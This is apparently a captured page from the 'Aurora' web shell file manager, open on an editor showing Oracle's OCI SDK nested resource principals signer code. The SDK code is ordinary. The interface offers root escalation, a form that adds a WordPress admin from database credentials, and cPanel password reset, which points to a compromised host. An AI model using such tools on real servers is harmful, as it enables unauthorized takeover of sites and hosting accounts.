Aurora
Adminer
Auto Root
WP Admin
cPanel Reset
Anti Backdoor
Root
lib
python3.9
site-packages
oci
auth
signers
Upload
New Folder
New File
Name
Size
Permissions
Actions
..
-
-
-
Upload File
Select File
New Folder
Folder Name
New File
File Name
Add WordPress Admin
Database Host
Database Name
Database User
Database Password
Admin Username
Admin Password
cPanel Password Reset
Email Address
Edit: nested_resource_principals_signer.py
# coding: utf-8 # Copyright (c) 2016, 2024, Oracle and/or its affiliates. All rights reserved. # This software is dual-licensed to you under the Universal Permissive License (UPL) 1.0 as shown at https://oss.oracle.com/licenses/upl or Apache License 2.0 as shown at http://www.apache.org/licenses/LICENSE-2.0. You may choose either license. import json import threading from cryptography.hazmat.primitives.serialization import Encoding, PublicFormat import oci import oci.signer from .security_token_signer import SecurityTokenSigner, SECURITY_TOKEN_FORMAT_STRING from .. import auth_utils from ..security_token_container import SecurityTokenContainer OPTIONAL_NESTED_PARENT_HEADER = "opc-parent-rpt-url" class NestedResourcePrincipals(SecurityTokenSigner): def __init__(self, resource_principal_rpt_url=None, resource_principal_session_token_endpoint=None, sub_resource_rp_signer=None, retry_strategy=None, log_requests=None, generic_headers=None, current_parent_depth=0, **kwargs): if not sub_resource_rp_signer: raise ValueError("Could not initiate sub-resource principals signers please check your environment!") else: self.sub_resource_rp_signer = sub_resource_rp_signer # set region from sub_resource_rp_signer if hasattr(sub_resource_rp_signer, 'region'): self.region = sub_resource_rp_signer.region if resource_principal_session_token_endpoint: self.resource_principal_session_token_endpoint = resource_principal_session_token_endpoint else: raise ValueError("resource_principal_session_token_endpoint must be provided") if resource_principal_rpt_url is None: raise ValueError("resource_principal_rpt_url should be present!") self.resource_principal_token_endpoint = resource_principal_rpt_url self.resource_principal_token_path = "" self.current_parent_depth = current_parent_depth self._reset_signers_lock = threading.Lock() if retry_strategy: self.retry_strategy = retry_strategy else: self.retry_strategy = oci.retry.DEFAULT_RETRY_STRATEGY # Holders for the tokens needed. self.rpt = None self.spst = None # Set up base_client for calls to Service to get Resource Principal Token and Service Principal Session Token # The config is not needed but request logging could be enabled. config = {} if log_requests: config["log_requests"] = log_requests self.base_client = oci.BaseClient("", # No service config, sub_resource_rp_signer, # Signer composed for sub-resource {}, # No type mapping region_client=False, service_endpoint=self.resource_principal_token_endpoint) # Set Key Supplier self.session_key_supplier = self.sub_resource_rp_signer.session_key_supplier # Get the Resource Principal Session Token and use it to set up the signer self.rpst = self.get_security_token() if generic_headers: super(NestedResourcePrincipals, self).__init__(self.security_token.security_token, self.session_key_supplier.get_key_pair()['private'], generic_headers=generic_headers) else: super(NestedResourcePrincipals, self).__init__(self.security_token.security_token, self.session_key_supplier.get_key_pair()['private']) def get_security_token(self): """ Returns the security token. If it is expired, refresh the token. """ if hasattr(self, 'security_token'): if self.security_token.valid_with_jitter(): return self.security_token.security_token return self._refresh_security_token_inner() def refresh_security_token(self): """ Refresh the security token """ return self._refresh_security_token_inner() def _refresh_security_token_inner(self): self._reset_signers_lock.acquire() try: self.sub_resource_rp_signer.refresh_security_token() # Get RPT blob, Service Principal Session Token from service, Steps A.1 and B.1 self.rpt, self.spst = self._get_resource_principal_token_and_service_principal_session_token() # Get RPST token from identity, steps A.2 and B.2 self.security_token = SecurityTokenContainer(self.session_key_supplier, self._get_resource_principal_session_token()) self._reset_signers() return self.security_token.security_token finally: self._reset_signers_lock.release() def _reset_signers(self): self.api_key = SECURITY_TOKEN_FORMAT_STRING.format(self.security_token.security_token) self.private_key = self.session_key_supplier.get_key_pair()['private'] if hasattr(self, '_basic_signer'): self._basic_signer.reset_signer(self.api_key, self.private_key) if hasattr(self, '_body_signer'): self._body_signer.reset_signer(self.api_key, self.private_key) def _get_resource_principal_token_and_service_principal_session_token(self): """ Get the Resource Principal Token and the Service Principal Session Token This makes a call to the resource_principal_token_endpoint which is defined by the service. """ method = "get" self.base_client.endpoint = self.resource_principal_token_endpoint response = self.make_call(method, self.resource_principal_token_path) if response.headers and OPTIONAL_NESTED_PARENT_HEADER in response.headers: self.nested_parent_rpt_url = response.headers.get(OPTIONAL_NESTED_PARENT_HEADER) else: # setting this as None to mark missing header for terminal parent. self.nested_parent_rpt_url = None parsed_response = json.loads(response.data.decode('UTF-8')) return parsed_response['resourcePrincipalToken'], parsed_response['servicePrincipalSessionToken'] def _get_resource_principal_session_token(self): """ Get the Resource Principal Session Token """ method = "post" resource_path = "/v1/resourcePrincipalSessionToken" self.base_client.endpoint = self.resource_principal_session_token_endpoint public_key = self.session_key_supplier.get_key_pair()['public'] sanitized_public_key = auth_utils.sanitize_certificate_string( public_key.public_bytes(Encoding.PEM, PublicFormat.SubjectPublicKeyInfo)) request_payload = { 'resourcePrincipalToken': self.rpt, 'servicePrincipalSessionToken': self.spst, 'sessionPublicKey': sanitized_public_key } # The base client will convert the payload to JSON, but won't update the content length, so we need to # it here. json_request_payload = json.dumps(request_payload) header_params = {'content-type': 'application/json', 'Content-Length': str(len(json_request_payload))} response = self.make_call(method, resource_path, header_params=header_params, body=request_payload) parsed_response = json.loads(response.data.decode('UTF-8')) return parsed_response['token'] def make_call(self, method, resource_path, path_params=None, header_params=None, body=None): """ make_call Normally this would be part of the generated client. In this case the endpoint for the Resource Principal Token is not part of the generated client, so we need the same behavior here. """ if self.retry_strategy: return self.retry_strategy.make_retrying_call( self.base_client.call_api, resource_path=resource_path, method=method, path_params=path_params, header_params=header_params, body=body, response_type=oci.base_client.BYTES_RESPONSE_TYPE) else: return self.base_client.call_api( resource_path=resource_path, method=method, path_params=path_params, header_params=header_params, body=body, response_type=oci.base_client.BYTES_RESPONSE_TYPE)